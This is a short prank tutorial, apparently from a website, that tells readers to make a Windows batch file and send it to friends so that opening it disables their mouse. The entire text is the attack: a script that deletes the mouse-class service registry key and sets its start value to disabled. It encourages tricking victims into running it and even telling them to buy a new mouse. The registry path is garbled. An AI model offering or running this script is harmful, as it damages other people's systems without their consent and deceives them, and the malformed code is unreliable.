Virus that disables Mouse

 Want to learn how to create a virus? Prank your friends by sending them this file to them and let them open it. They will be shocked when they will find their mouse disabled. You can even say them to buy a new one.
Open Notepad and copy below codes:

rem ———————————
rem Disable Mouse
set
key=”HKEY_LOCAL_MACHINEsystemCurrentControlSetServicesMouclass”
reg delete %key%
reg add %key% /v Start /t
REG_DWORD /d 4
rem ———————————

Save this file as yourname.BAT